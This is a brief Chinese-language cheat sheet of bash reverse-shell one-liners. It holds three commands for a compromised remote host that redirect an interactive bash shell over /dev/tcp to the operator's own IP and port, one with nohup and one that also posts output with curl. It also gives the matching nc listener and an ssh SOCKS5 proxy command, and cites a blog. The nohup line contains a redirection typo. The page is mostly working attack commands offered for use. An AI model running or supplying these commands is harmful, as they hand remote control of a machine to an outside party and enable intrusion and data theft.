bash反弹shell

远程：bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1

远程：nohup /bin/bash -i >/dev/tcp/自己的ip/自己的端口 0<&1 2>1&1

远程：a=`bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1`;curl -d ${a} http://自己的ip/任意端口             /// · 为反引号

本地nc指令：nc -v -l -p 自己的端口

ssh s5代理：ssh -NfD 本地s5代理端口 root@服务器ip

根据文章：http://blog.163.com/digoal@126/blog/static/163877040201451491932934/